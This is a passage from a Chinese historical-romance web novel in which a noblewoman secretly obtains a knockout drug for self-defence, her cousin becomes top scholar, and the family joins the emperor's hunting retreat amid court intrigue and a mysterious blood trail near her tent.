藉香为李秉真贴身护卫,不跟随出门时,他要做的就是练武,以及守月舍。 清蕴从李秉真口中得知他是市井出身,曾在赌场钱庄等地谋生,有些事肯定不陌生,所以一见到人就直接道:“能否找到可以随身携带的迷药,易隐藏,发作快。” 藉香足足愣了好几息,疑心自己听错,不知怎么会从世子夫人口中听到这话,“夫人这……” “我自有用意,不必问。” 藉香犹豫片刻,“能,有一种药丸可以藏在珠钗中,捏碎后涂在肌肤上,二三十个数就能起效。” “使用之人如何确保自身不受影响?” “捏碎时尽量只沾在指腹,不要碰触到手臂脸颊等位置即可。” 清蕴问得细,从持续时间到后续症状都要一一了解清楚。藉香越发意识到,这定是夫人自己用,而非帮他人询问。 所以在回答过诸多问题后,他坦诚道:“夫人,我若去买此药,必要报给世子。” 他是李秉真的人,这种事不可能瞒他。 “无事,本来也不必瞒他。”清蕴点头,“还麻烦你尽快帮我带来,需要多少银子和白芷说,让她直接给你。” 虽不知以她的身份为何会需要这种药,但无需隐瞒李秉真,藉香就没了二话,爽快答应下来。 看着他快步离去,清蕴续在位上坐了会儿。 突然生出这个想法,主要当然是因为建帝。 虽然不知道他的对自己的兴趣从何而来,但如果真发生意外,肯定不能只指望他人。 她习惯做两手准备,李秉真那儿即使知道了也不会多问。 这样想着,她在李秉真回家后主动提起,他果然就是简单应了声,没有追究用意。 对陈危考校的结果更让他惊讶些,对她道:“父亲其实也是天生巨力,战场所用的龙鳞刀就重达二十斤,他的力气比父亲还要更胜一筹,在我认识的人中,恐怕只有李审言可以与之相比。” 李审言的力道身手不必说,他爆发起来能够把虎头一劈为二,由此一战成名。如今进了十二卫,日日有人挑战,皆被他打得头破血流,武力之悍勇,为人之冷酷都展现得淋漓尽致。建帝听后,不仅不罚,反而对他越发器重。 这些事,李秉真在翰林院都有所听闻。 “在我看来,他若得伯乐,将来定为建朝第一勇士。” 李秉真这么欣赏陈危,让清蕴都有意外,“那我就先替他谢过世子吉言。” 24、第二十四章 接下来几个月,堪称平淡地过去了。 清蕴不曾再进宫,李秉真下值了就来陪她,或一起看陈危在名师指点下练武,或去河畔垂钓,或到园中听戏。 春去夏至,转瞬到了殿试这天,清蕴正在教几个女使制香时,李秉真提前了半日回家,笑着带来一道好消息。 “夫人,克衡果然了得。连中三元,今日在太和殿上,一举被陛下钦点为一甲头名。” “状元?”白兰先出声,惊讶地把香粉洒了一地,转头高兴道,“夫人,不愧是咱们三公子!” 清蕴笑着点头。 虽然猜想过这个结果,但真正听到时还是难免惊讶,毕竟状元一词的含义和分量和以往可大不相同。 李秉真说:“殿试时我有幸旁观,众多贡士中,独克衡镇定自如,答陛下问时出口成章,既引经据典,又有独到见解。陛下见猎心喜,还未考校完所有贡士就直接钦点他为前三。” 顿了下,他笑意更甚,“期间犹豫过一回,因克衡样貌出色,想过是否要点他为探花。” 王宗赫的五官十分端正英气,是大部分长辈都会喜欢的俊朗相貌。他又自幼沉稳,三岁时就要求独立自主,自己的事很少经他人手,至今身边都只有一位女使和一个书童。 大约是觉得他的气质实在不像时下风流蕴藉的少年郎,建帝对着他,总想到自己那些中年臣子,探花的名号最终还是落在另一个二十出头的青年身上。 还有这桩趣事,清蕴想到王宗赫听到这话时可能会出现的表情,便跟着笑了下。 她这位三哥,无疑是气质远胜于样貌的人。旁人和他来往,第一眼很难仔细观察他的模样,先注意到的定是他的稳重,有种莫名让人信服的感觉。到这种地步,其实生得如何已经不重要了。 一个多月前,得知王宗赫成为会元,她很替他高兴。考虑到殿试紧随其后,便没有特意回家祝贺,仅和李秉真一道送上厚礼。他不曾敷衍,在紧张备考时还给他们回信,谢过李秉真指点,让他和清蕴保重身体,祝夫妻二人琴瑟和鸣。 清蕴:“我这就让人去告诉外祖母舅母她们。” “不用,我归家时,已经遣人一并去说了。”李秉真说,“陛下把一二甲的几十人都留在了宫里,当场赐宴庆贺,等他们归家至少也是未时后。我请长辈们提前派人在宫门前等候,莫让克衡刚出门就被捉去。” “三哥文武兼修,捉他的人,定得身手极佳才行。” 夫妻俩一本正经地调侃着状元郎,边说话边走进内室,李秉真随口问:“夫人喜文还是喜武?” “文武各有用处,于我而言,不分伯仲。”清蕴好奇,“怎么问这个?” “我观陛下有开武举之意,或许很快,不止能见到文状元,也会有武状元。” 略一思索,清蕴微微偏首,“如果真分文武,也是桩好事。龙生九子,各有不同,世上万万人,不可能所有人都擅长读书写字。” 当然,他们谈论的世人,并不能算上底层百姓。所谓“穷文富武”,在文道大盛的今日,寻常人家想供儿女读书,咬咬牙也能够上。练武可并非一支笔一张纸一本书就行,练习骑射、武艺,其中的武器、技艺、场地、护甲等无一不要耗费大量家资,不是空有蛮力就能高居人上。 这也是清蕴让陈危去学刀,又为他请名师的原因。 “嗯,若是真开武举,正适合陈危这类人。” 带过这个话题,李秉真解下外衣。 他今日上太和殿,穿着又有不同,一身赤罗衣,外罩襕衫,玉带梁冠,手持山水折扇,显得身长玉立,风度翩翩。 食色性也,他有这样的风采,清蕴的视线也随之停留了会儿。 解到一半,李秉真忽然抵唇低咳两声。 他的咳和常人不同,顿时引来一众目光,几个女使更是面露紧张,叫他无奈道:“无事,来时灌了风,喝几口水便好。” 饶是如此,女使还是在清蕴吩咐下给他取来药丸,又去煮姜汤,看得李秉真连连摇头,“数月时光,月舍已俨然以夫人为首,我的话无人听了。” 他想抚她长发,见发髻精致无从下手,退而求其次,捏了把那一直轻轻摇晃的珍珠耳铛,再入座,“也罢,连我都把夫人的话奉为圭臬,又有什么资格说别人。” 正话反话,全被他一人慢慢悠悠说完了,听得女使们纷纷忍笑,春夏秋冬四人更是如此。 以往服侍世子,他虽然面上温和,但从不会说这些玩笑话,且言简意赅,一句话能说完的事决不分作两三句,哪有这样风趣。 这样想着,各自按吩咐去忙碌,待春分煮好姜汤回居室,刚踏进门,隔帘便看见里面的两人正坐在一块儿。 夫人被世子揽在膝上轻声说话,一手被世子握住把玩。 不知说到什么,世子忽然俯首亲昵地吻了下那指尖。 屋内人没什么反应,倒是春分先闹了个大红脸,面颊滚烫无比。 她迅速退出去,朝其他人摇头,把门仔细带好。 反正煮了大锅姜汤,凉一碗也无事。 ** 殿试结果在李秉真归家一个时辰后传遍大街小巷,国公府位于深处的梧桐巷,都能隐约听到外面吹吹打打的喜乐声。 白兰跑出去凑了圈热闹,回来说一甲前三名本都要被强送上马,围街绕行几圈,最后上面却仅有一人。因状元郎和探花郎都溜之大吉了,位于第二名的榜眼是个四十余岁的中年男子,自认较两个年轻人更为沉稳,便独自扛起游街的重任。 他虽然年纪不小,但生得周正,再有榜眼之名,同样有不少女子热情地丟掷瓜果鲜花。一圈下来,这位亚元不知对哪种鲜花香料不适,喷嚏不止,终于也消受不住这等美人恩,弃马溜走了。 听她绘声绘色说完这段榜眼的狼狈,月舍众人笑得前俯后仰。 笑着笑着,两位主子忽然从里面走出,顿时齐齐敛息直身。 清蕴和李秉真刚歇了个午觉,见他们小心翼翼模样,浅笑道:“不用拘谨,这是喜事,确实值得庆祝。月舍的人本月月钱都翻倍,不用找府中管家,直接到白芷这儿领。” 再看李秉真,他显然也是这个意思,众人这回笑得远比刚才灿烂。 月钱这种好东西,当然是越多越好。 清蕴吩咐白兰给王家备礼,这时候那边应该忙得不可开交,她暂时不去凑热闹,先把礼送过去,人就等过段时间再去看。 李秉真摇头,“不用急着送礼,之前我忘了说一事。陛下不准备办琼林宴,而是准备将之前推迟的春闱与此次庆贺合二为一,邀文武百官及众学子去天穹山。此时送礼,不如到时候当场恭贺。” 天穹山修有行宫、猎场、佛寺,基本只供皇亲国戚玩乐。建帝登基后常在这儿消磨时光,以往都是独自前去,没想到今年有这等好兴致。 “我们也去吗?” “嗯,不出意外的话,除去祖母,我们应该都会去。” 25-30 第25章 入V万字更新 天穹山位于京城西郊, 漯水流经山脚,生息绵延不绝。这山并非仅仅一座,峰上有峰,遥目望去, 几重翠色直冲云霄, 奇景撼动人心。 旌旗伴随大批人马入山时, 烟尘浩荡, 鸟雀腾飞,在上空盘旋不止。 帝王仪仗在前方, 往后些,已经有好些世家子弟按捺不住玩乐心思,搭弓引箭往天空射,可惜技艺不精,没射中几只。 马车内, 李秉真捏了本棋谱在钻研, 偶尔抬手摆弄棋盘,感觉清蕴朝外看了有段时间,头也没抬地笑道:“当真不让人牵匹马来?” 那些受不住枯坐马车乏味的人, 早早就在外策马奔腾了。譬如李琪瑛,她精力旺盛,从行队最前方到后方跑了几个来回,依旧精神奕奕, 这会儿还在射箭。 “不必。”清蕴不是感到无聊, 只是觉得车内氛围不适合聊天, 又对外面风景感兴趣, 多看了会儿。 但山水看久了都差不多,即使天穹山奇特雄伟些, 小半个时辰也看够了。 刚准备拉下车帘子,附近忽然传来一阵惊呼。往外看去,原来是前方有两发迅如闪电的箭矢飞出,正中两只灰雁,精湛的箭矢引得众人感叹。 李琪瑛兴冲冲的声音响起,“是陛下在射箭吗?” 有人答,“不是,那两箭似乎是李校尉所射。” 李校尉,李审言。 李琪瑛似乎冷哼一声,没说话。 庆生宴后,李审言一飞冲天,先进十二卫中的骑手卫当普通侍卫,没过多久,就挤走了前任旗手校尉,自己取而代之,掌卤簿仪仗,御前宣召文武官员,遇事还可奉旨特办。 算得上另一种意义的天子心腹。时人遇见,大都恭敬地称一声李校尉。 清蕴得知这消息后,心道别人不知齐国公府内情,建帝不可能不清楚。从承乾宫那天的情况来看,他绝对是故意为之,此举几乎等同于把大长公主的脸皮放在脚底下踩。 她不知道以前大长公主是怎么呵斥教训建帝的,反正从目前情况来看,姑侄两个相处不算和睦,大长公主对建帝的威慑也很小,甚至很多时候还被故意挑衅。 不着痕迹扫了眼身侧,她确定婆母听到了那两句对答,看起来什么反应都没,好像根本不在意这个名义上的庶子。 “清蕴。”闭目休息的大长公主出声,“外面尘土太大,对少思身子不好,关上窗。” “是,母亲。” 在清蕴关窗拉帘后,大长公主撩了撩眼皮,视线仿佛透过无数车马看到了那个在建帝身边的人,心头沉郁。 如果李审言能够安安分分、庸碌此生,她会尽量忽略他。 但他万不该野心勃勃,战功被夺后,不惜当个取悦帝王的佞幸,也要身居高位,图谋甚多。 想到迟早有一天,他会站在李秉真上方,居高临下地蔑视自己的儿子,大长公主就感到深恶痛绝。 她绝不能容忍那样的事发生。 有些事已经做过一次,她不介意再来第二次。 ** 天穹山有行宫,但这座行宫远算不上宏伟,住处较少,容纳不了数百人,建帝便提前下令在附近搭建幄帐。 除去建帝及后宫妃嫔,其余人都分片住在幄帐中。 行队抵达时,行宫仆役早早候在外面,为各家接引。 幄帐都为四方大帐,由铁勾铜柱搭成骨架,铺上厚实毛毡,外罩油布,内设长榻、座椅、几案,比寻常屋舍也差不了多少,住起来别有一番趣味。 齐国公府分了四座幄帐,但两对夫妇和李琪瑛需要的也不过三座,清蕴询问行宫仆役,得到他们回答,“还有一座属于李校尉。” 李审言竟也住在附近?清蕴微讶,她还以为他时刻侍奉天子,住也不会在一起。 齐国公之前一直是骑马随行,这会儿也来了,听到这话一声不吭,只下意识看了眼大长公主,却连个眼风都没收到,人径直进了幄帐。 他默了下,转头,“一个时辰后陛下将率众进猎场,你们如有感兴趣的,也可一起来,只是要注意安全,带上护卫。尤其是琪瑛,绝不能擅自混进陛下那儿,陛下要猎的都是猛兽,万一遇见危险,只怕他们来不及护你。” 李琪瑛长喔一声,面上应得乖巧,会不会听只有她自己知道。 嘱咐完这几句,齐国公以更衣的理由也进了帐。 留下三个小辈,李琪瑛左右各扫了眼。一个是对自己冷冷淡淡的亲哥,一个是看起来亲和实则如同笑面虎的大嫂,哪个看起来都不好惹,也都不愿搭理自己。 她还记得上次,自己以大嫂身边女使不够恭敬的由头罚人,在那个白芷身上轻轻甩了两鞭。大嫂面上淡然,说确实该罚,回头就找理由把玲珑轩她最信重的两人给“请”出了国公府,连母亲和祖母都十分赞同。 她没有办法,只能再次去找人认错,从此再不敢轻易挑衅。 所以这会儿没多做犹豫,李琪瑛就用去找好友玩儿的借口溜了。 “琪瑛是不是有些怕你?”李秉真若有所思。 “是么?”清蕴随口回,“更怕的应该是你。” 按她以前的性子,她自有办法让李琪瑛慢慢接受自己,但如今她已经不再追求事事完美无暇,因为并不需要。 看着下人把行李等物一件件搬进去,两人正要进帐时,王宗赫竟就携疏影来了。 “三哥/克衡。” 先道了声恭喜,命人拿出特备的洮河砚,清蕴面露微笑,“三哥金榜题名,本该第一时间去贺喜,但想到那几日家中定然繁忙无比,就没有过去添乱。” 王宗赫仍是那副模样,极亲近的人才能看出他短暂地笑了下,“我们之间不必这么客气。” 接着说:“我记得你之前有不能久坐马车的毛病,一路可还好?” “提前贴了药,无碍。”清蕴问,“三哥这么快来,可是有急事?” 王宗赫点头,看向李秉真,“诸位学子仰慕翰林学士风采,想请少思兄一聚,品文鉴书。” 李秉真说自己只会听经讲书,实则他受封翰林院侍讲学士,主职为修撰文史,如今学子们读的书籍文章,其中就有一些经他编修释义。所以他虽很少露面,科举高中的学子仍很想拜见他。 李秉真仅思索几息,“不瞒克衡,我此时状况不佳,暂时没什么精力。劳烦你帮我告个不是,就说如若诸位不弃,等到夜里篝火宴时,少思再去和大家同聚。” “……抱歉,是我忘了,一路舟车劳顿,本就该先休息。” 李秉真摇头,转头额际贴上了一只温热雪白的手,清蕴微微踮脚,正在试他是否发热,轻声问,“一路都不舒服?” “尚可以忍受,就没说。”李秉真握住她手,“没什么大碍,休息会儿就好。” 清蕴并不赞同他这时常忍耐的习性,眼睫垂下。李秉真一看,就知道自家夫人不高兴了,有些无奈地朝王宗赫一笑。 他之前犹豫的原因就在此了,夫人不喜欢他带病忙碌。 本来不打算说出来,毕竟歇两个时辰就能恢复,奈何碰巧有人邀约。 “那你好好休息。”王宗赫突然沉声道,“我就不打扰了。” “好,麻烦克衡了。” 王宗赫转身离去,夫妻俩也转头进帐。建帝第一天进猎场,并不是每个人都必须去,像李秉真这样受限于身体无法练武的,内侍会自觉划掉他的名单,清蕴作为他的夫人,就更没有要求了。 藏翠藉香两人在帐外守候,没多时,又有一人经过。 是李审言。 随侍御驾,他今日穿着大为不同,一身绯红骑装,绣制飞鱼纹样,卓越的身形令他在一众青年中鹤立鸡群。 对藏翠藉香的警惕目光,他视而不见,径直走进了自己那座幄帐。 随手扯开腰带,李审言步伐未停地走到床榻旁,那儿另置了几套劲装。 帐内早早守着一名美人,见他身影忙唤了声“大人”,起身想要服侍,却见李审言面色淡淡地自顾自更衣,根本不曾理会她。 美人名唤云生,是建帝所赐,为宫中女使。他得封旗手校尉的当天,建帝听说他至今还未娶妻,身边也无美婢服侍,便当场赐下云生。李审言毫无二话地领了赏赐,天穹山一行也带上了此女。同僚笑他难消美人恩,唯独云生清楚,从到这位大人身边的第一天起,他就没碰过自己一根指头,甚至连正眼都未瞧过。 但云生并无怨言,那日承乾宫杀虎,她就随侍在天子身边,见识过李校尉的悍勇英姿,被赏赐给他,高兴尚且来不及,怎会因这点冷待就灰心。 她想,那位殿下霸道无比,大人作为齐国公庶子,这些年在府里定是举步维艰,才养成这样不易接近的性子。 云生目光紧紧跟随之际,李审言忽然回首,“会服侍人吗?” 她误会了,微红着脸点头,却见李审言招手,“把靴子拿来。” 原来他说的是服侍穿衣。云生掩去失望,恭恭敬敬走到取来长靴,这是鹿皮所制,轻便灵巧,便于骑行和奔跑。她知道,今日陛下要和百官同入猎场,大人必定要随行。 视线不经意掠过那精赤的上身,云生忍住羞意,俯身给李审言穿靴,下颌忽然被他用另一只靴尖抬起,目光流连,似在细细打量她的容貌。 能够被天子作为礼物赏赐,云生样貌自然不俗,她柔声道:“大人可还满意?” “确为美人。”李审言问,“你当真愿意跟我?” “妾对大人,一见倾心。” “为何?” 说到为何,云生羞涩道:“大人相貌俊美,勇武无双,妾心向往之。” 李审言嗤笑了声,把擦身的巾子随手一甩,“你走罢。” 云生一愣,“……什么?” “随便去哪儿,想回京就等半月,不想回去就自己离开。” 他语气随意,云生琢磨了好半晌才明白,李校尉竟是让自己自行离去的意思。 被赏赐给李审言后,她的去留就仅由他一人决定。然而习惯了被他人掌控生死,云生以为他在试探自己,继续柔顺俯首,“大人说笑,妾是您的人。大人在哪,妾就在哪。” 扫她一眼,李审言没再说话,无视跪坐的云生,穿好衣服径直出帐。 云生脸上的神色,李审言在幼时就看过许多次,在他那位名为姨娘的生母脸上。 每每看到齐国公,他那位好父亲,她就会出现这种神情,柔顺讨好,近乎谄媚。 她分明有选择,在大长公主下降后,能够被太夫人认为义女离府。无论是自立女户,还是招赘,又或是找个寻常人嫁去,都远比赖在国公府要自在潇洒。可她都不要,以深爱齐国公为名,甘愿在那对夫妻手中讨生活。 太夫人和齐国公感念她情深,年幼的李审言却对此嗤之以鼻,十分厌恶生母毫无主见只能依附他人的模样。 假如她再狠心些,下毒一事东窗事发后就逃走,李审言不会怪她。人不为己天诛地灭,她已经生下他,下毒也是为他,即便失败了,结果由他来承受也没什么。 可她不逃,在太夫人都怒斥要赶她离府时,苦苦抱着齐国公大腿,诉说自己的不得已,说可以去求大长公主原谅,万不能让她再见不到齐国公。 结果如何?不过是被一剑穿心。 临死前,她还在声泪俱下地向齐国公乞求,忽然一剑刺来,让她的惊惧永远停留在了脸上。 李审言无法理解,更无法为之痛哭流涕,在他看来,她分明有无数机会避开这个结局。她曾对他说,女人的柔弱和泪水是世上至坚至柔的武器,但这武器并没有挽救她的性命,仅仅让他永远记住了自己生母临死前的模样。 云生和她是一类人,骨子里已经被驯服了,即使拥有自由的机会,也离不开主人。 到帐中走一趟不过耗费片刻,李审言再回建帝身旁时,远远就听到爆出的激烈喝彩声,令他微微眯眼。 大步上前,发现竟是一少年模样的人立在场中,赤膊和禁军副统领搏斗。副统领身形健壮如牛,练的就是外家功夫,可两人相缠时,少年下盘竟然比他还稳,双脚似牢牢钳入地面,纹丝不动。 李审言一看便知,这人天赋异禀,和自己恐怕一样。 “英雄出少年,齐国公也不知从哪儿寻来这等人才。”有人低声交谈。 李审言分辨出那张有几分熟悉的脸,哪是他那好父亲手底下的人。如果记得不错,此人名唤陈危,应该是随他那位嫂嫂陪嫁到国公府的护卫之一。 再看建帝,面上含笑,实则脸色已经隐蕴不悦。 他当即拨开人群,踏入场中。 ** 陈危有天赋,可他此前一直在王家做些杂活,浑身巨力浪费了好些年。相较于随过军,又每日在卫所练武的李审言到底差了一着。 缠斗整整一刻钟,他被击败,单膝跪在地面,大颗大颗汗水滴落。 建帝拊掌,“不错,你们二人都很不错。但此次春蒐,比的不仅是力道,还有骑射功夫。此时胜负算不得什么,若是最终在猎场取胜,朕将有重赏。” “还有你们。”他示意围观的众学子,唇畔噙笑,“朕的朝堂之上,无论文臣武臣,都不能只修一道。不通骑射无事,这半月之内尽管向人请教,回京前必须见成效,朕到时候可要考校。” 建帝放话,众人踊跃听令。 待帝王引弓射鹿,开始此行狩猎后,便各自散去,或入猎场深处,或观摩他人射箭。 正应了建帝来之前的话,不拘上下,百官同乐。天穹山一时间呼啸四起,飞鸟走兽皆被惊得四处逃窜。 但无论外间如何,都没侵扰到帐内歇息的清蕴。她陷在厚实柔软的栽绒中,睡得不错,醒来时见眼前景色昏暗,还恍然以为身在家中。 往左看去,李秉真躺在身侧,脸上恢复了几分血色。 他觉浅,清蕴刚掀被坐起身,双眼就已睁开,看霞光从帘缝映入,照亮清蕴散在身侧的乌发。 她和白兰在帐前对话,问如今是什么时辰,而后准备回身更衣,不经意对上他的目光,唇畔漾出浅笑,“已好了?” “好了。” 不过……他坐起身,动作慢吞吞,眼中映入的仍是自家夫人悠悠梳妆的静好模样,此刻倒真有些后悔应了那些学子所邀。 今日天清气朗,夜里该和夫人在外共赏星辰才是,而不是和一群无人陪伴的书生议论经史子集。 李秉真忽然叹了声,默默穿衣系带。 两人都没唤人进帐,各自整理。清蕴不会太复杂的妆容,就简单梳了个堕马髻,斜插金钗,简洁大方。 收拾好,眼见宴会还有两刻钟左右,便带上藉香和白芷,同往大帐去。 这是抵达天穹山的第一夜,晚宴势必声势浩大,建帝特意命人设下可容纳两三百人的大帐,未到时辰已是人声鼎沸。 文官三两成群谈书论道,武官兴致高亢比划拳脚,一众官员的内眷便位于大帐深处,与友人小聚谈心。 事实上,在未开宴前,像他们这样夫妻二人相携共进的才是少数。 以大长公主为首的一众命妇正在谈论今日猎场战果,有人眼尖瞥见李秉真,顿时笑了,“殿下府上这对小夫妻还真是恩爱,成婚也已好几月了罢,整个下午不见人影,如今也是形影不离,叫我等见了,真是好生歆羡。” 大长公主随意扫过去,淡淡一笑,“他们夫妻感情好,便让我再放心不过。” 她没什么兴致聊这个,左右不好继续,就在夫妻俩走到大长公主身边时,多看了几眼。 只看外表,倒是很登对。 清蕴和李秉真打算来陪伴大长公主,还没坐下,就得她摆手,“我这边有人说话,各自找人玩儿去罢。” 无法,左右看了看,又往王家那边去。 王家来了四人,王宗赫、二舅舅王维清、王令娴及王令嘉。 大舅舅王维章职责在身,秦夫人没兴趣,两位舅母则是不便离京。 王维清刚刚外任知府归京,现在还没有正式官职,看起来悠闲自在,完全没有去交际的意思,就坐着陪女儿侄女闲聊,也很有乐趣。 瞧见清蕴夫妇,他起身拱手,“李学士,久仰大名,久仰大名,下官有礼了。” 李秉真怔住,清蕴则笑起来,“二舅舅,你这样,世子以为自己认错了人。” 二舅舅在她看来,是最像外祖父的,处事圆滑,又比外祖父多了一分孩子气,常常叫人意外。 王维清嘿笑一声,“谁规定我不能这样唤外甥女婿?” 王家人大都老成持重,以李秉真所见的王贞、王维章、王宗赫祖孙三代为例,无不如此。他以为夫人外祖家都是这个性格,乍见王维清一枝独秀,确实意外。 如此也就能够了解,为何独独清蕴的小表妹王令嘉格外活泼。 他们两交谈起来,清蕴就转向两位表姊妹。 三人有段时间没聚了,王令嘉一见就高兴地埋到表姐怀里,不满嘟囔,“姐姐成婚了,连我们都不来看,亏我天天念着你。” 清蕴给她递去荷包,里面装的都是金银制作的小巧玩具,立刻哄得王令嘉眉开眼笑。 “原想到了就寻你一道玩儿,三哥说你们不舒服在帐篷里歇息,就没去打搅。”王令娴关切问,“现在好了?” “只是不能久乘马车,歇一两个时辰就没事了,小毛病。” 王令娴惊讶,“原先在家里倒是没发现,好在世子体贴,一直陪着你。” 抬手为清蕴倒了杯水,“既然如此,今晚就别饮酒了,我们俩坐一块儿,不让人劝。” 说着话,王令娴笑起来。 她如今表现,和以往相比少了几分拘束,更显自然,好像经历之前一事,脱胎换骨了般,有焕然一新之感。 两句话的功夫,身旁又走来几位好友,都是几位长辈同僚家中的女孩儿。她们起初和王令娴结识,清蕴进京后,因深觉她和善多才,飞快接纳了她。 这些女孩儿的长辈大都在朝中为官,官职各有高低,但都越不过王贞这个礼部尚书。 清蕴年纪在她们当中不算大,可她得王贞看重,行事沉稳,聚会时,众女一般以她和王令娴为主。 “你嫁去国公府后,几次婉拒了帖子,我们不知情况,也不敢贸然再邀。”有人压低声音问,“到底是有事忙碌,还是那位殿下管得太严?” “殿下和公爷都很和善,世子亦很体贴。那几次实属碰巧,正好有事,真是对不住。” 清蕴没解释太多,转而让人拿出了给她们备的礼,是依照每人喜好特制的香。 不得不说,这份礼送到众人心坎上,纷纷道谢,说过几句闺中话,那点疑惑自然而然放下了。 大宴开始时,李秉真没有回来。他被带到王宗赫身边,然后又被那群学子热情留下了,只能隔着座位遥遥对着妻子举杯,清蕴则还以一笑。夫妻俩恩爱的场景羡煞旁人,学子们纷纷起身敬酒。 李秉真喝不了酒,就灌茶水,叫他哭笑不得。 女孩儿聚在一起也会品酒,桌旁摆了各式佳酿,慢悠悠啜饮着,边欣赏今日狩猎前十的勇士。 她们这位置僻静,离觥筹交错的建帝和一干臣子有些距离,说话也随意。 正是这时候,着内侍服的小公公双手捧食盘,穿过人群径直来到清蕴面前,恭恭敬敬道:“夫人,这是陛下赏赐的烤羊腿,和一杯葡萄酿。万公公说了,琉璃盏是一道赏的。” 众女不识得小公公,但听得懂“陛下”和“万公公”两个称呼,顿时惊奇,目光神异地来回扫动。 清蕴面色如常,“谢陛下隆恩,但外子不在此处,辛苦公公再跑一趟,他正同王状元等人在一块儿。” 说着,给他示意位置。 小公公尚且稚嫩,当真以为如此,对清蕴道一声谢,领命而去。 不过是件小插曲,有了解释,大多数人以为是陛下对齐国公世子的爱重。唯独清蕴左侧的夏琳若有所思,有些忧虑地看着友人。 她的父亲是佥都御史,有时会因谏言不当而受罚。有一次她奉母亲令去给父亲送药,不小心听到一则惊天秘闻。 陛下竟与臣妻有染。虽不知道父亲话里的臣妻是谁,但内容的真实性毋庸置疑。父亲说,君不君、臣不臣,倘若臣子都凭这种方式讨好陛下,建朝迟早灭亡。 可那是齐国公世子,家中长姐还在宫中为妃,无论如何,应该都不可能用这种方式去讨陛下欢心。 即便陛下有意,以清蕴这么聪明的性子,也不可能让自己置于这种尴尬地步。 希望是她多想了。好半晌,夏琳收回了那乱糟糟的心思。 酒过三巡,建帝兴致仍然很高,放言说要彻夜庆贺,命人在大帐外燃起篝火。 清蕴没有彻夜狂欢的兴趣,与好友们分开后去寻李秉真,可学子们盛情难却,非要让他再待些时辰,她便准备只身回帐。 走了两步,身后传来脚步,是王宗赫。 “我和少思说过了,先送你回帐。”他解释。 “有白芷藉香跟着,四处还有侍卫巡逻,三哥不必太担心。” 王宗赫语气平淡,不容她拒绝,“人太多,今晚又都喝了酒,容易滋生事端,送你到了我再回去。” 他说的有道理,清蕴没再坚持。 不同于以往的识趣,藉香这会儿跟得格外紧,几乎只有两三步的距离。白芷见了不解,上前拉住他,等两位主子往前走再小声提醒,“远点。” 主子们或许或聊几句呢。 藉香不说话,眼睛还盯着前方。 白芷皱眉,随即明白什么,睁大眼,“那是三公子——” 是夫人的兄长,有必要么? 藉香冷睨她,一切尽在不言中,继续大步往前。 只要不是亲哥,任何人都不能放心。这是他上次陪夫人回门后,藏翠对他千叮咛万嘱咐的。因为他对世子在廊下看着夫人和王家公子叙旧的那一幕不解,回府后忍不住问了藏翠。 藏翠大惊,说王家那位定是暗暗爱慕夫人,世子面上不说,心底哪能开怀。他们作为世子心腹,要自觉为主子分忧。 有了这话,藉香当然不可能放夫人和任何一个男人独处。 身后两人跟得紧,王宗赫没什么反应。他就是这样,心无旁骛对别人而言是形容,对他而言是事实,不在意的东西压根不会放在眼里,母亲郑氏都曾经被他这死人样狠狠气过。 “这几月过得如何?”路上,王宗赫先开口。 藉香竖起耳朵。 “世子很好,公爷和殿下也体贴。”清蕴看着天边一轮明月,含笑,“太夫人和外祖母一样,喜欢礼佛,甚少管理庶务,隔几日请安即可,也很宽和。” 如今的状态,比她之前想的还要好上许多。可能是李秉真出乎意料得君子,也可能是夫妻俩意外得合拍,她的确如自己所说,感觉很好。 王宗赫一直注意她的神色,知道清蕴说的都是真心话。以前在王家,她不知为何总有一种紧绷感,事事小心谨慎,不会和任何人有龃龉,但凡提到她,都是夸赞。可王宗赫看得出,这不能算是天生的善解人意,更像是祖母再疼爱也没法消弭的生疏。 他从前以为,那是因为她父母兄弟都离世之故。她孤身待在王家,除去祖父母的关心,再无倚仗,确实很难有安全感。 听到有下人议论她一个陆家人吃穿用度都由王家出资之后,王宗赫暗地向祖母提议,把姑母嫁妆里的那几间铺子单独交给清蕴。 清蕴不出所料,把铺子都打理得很好,那些零碎的议论也逐渐没了。 王宗赫一直在让疏影暗中关注这些。 他知道,清蕴对王家没有归属感,也知道她对自己没有男女之情,更清楚母亲想为自己娶一个出身、家世能助他一臂之力的妻子。 这些都不是问题。 在他没有立身之本前,他会先认真备考,取得功名,入仕途之后再向家中长辈秉明意愿,求娶清蕴。即使对他没有其他情愫,清蕴应当也会同意的,因为她理智而清醒,知道和他成婚并不会差。 至于母亲那儿,王宗赫都已打算好,如果她无论如何不同意,自己就和祖父母说清情况,和清蕴独门别院居住,如此既得清净,也能让她少些烦扰。 但再周密的计划,都比不过清蕴自己愿意嫁去齐国公府。 收回视线,王宗赫嗯了声,“祖母她们听了,会很安心。” 就这么两句对话,他没再说其他。 藉香松了口气。 眼见快到帐前,不远处有巡逻侍卫经过,看起来再无任何危险,王宗赫准备告辞时,见藉香脸色微变,视线落在夜色中幽黑的草地。 他俯身观察,发现一片宽叶上有不明显的血迹,隐隐约约发现了十来片草叶都如此,其中还有离清蕴幄帐特别近的。 一把拉住人,王宗赫低声对藉香道:“先去看看。” 无需他吩咐,藉香已经把手按在刀柄,示意他们后退,谨慎地接近幄帐。 他能够踏草无声,清蕴等人没这个功夫,就退到了一簇火把旁,扫了眼附近看守的侍卫,思索再三,没弄清情况前还是不打算冒然唤人。 藉香进了帐中,来去很快,低声道:“里面没人,但为夫人安危着想,不建议待在此地。” 受伤那人不知是无意路过,还是就守在附近,纵然他武艺高强,也不能拿夫人冒险。 齐国公、大长公主、李秉真和李琪瑛都没回来,清蕴略一思考,就同意了。 这么多人齐聚天穹山,本就有无法言喻的危险,她向来谨慎,也很听劝。 “先去令娴那儿休息。”王宗赫道,“她是一人帐,和令嘉不在一处。” 事已至此,这听起来是最好的办法了。 藉香又护送二人往王家幄帐去,所幸路上没有再生波折。 到了王令娴帐外,因是女眷居处,藉香自觉地在外等候,岂知两人一踏进去,王宗赫就皱了眉头,扫过整座帐篷,再看愕然站起身的素桃,“你家姑娘呢?” “公子,陆姑娘。”素桃习惯性喊出从前称呼,战战兢兢道,“姑娘,姑娘去小解了。” 清蕴视线转了圈,没说话。 王宗赫沉着脸,“做什么你都该跟着,她去了多久?哪个方向?” 素桃支支吾吾答不上来,在场的人哪还有不明白的,王宗赫一声低喝,“还不老实交代!你是想姑娘再出次事吗?” 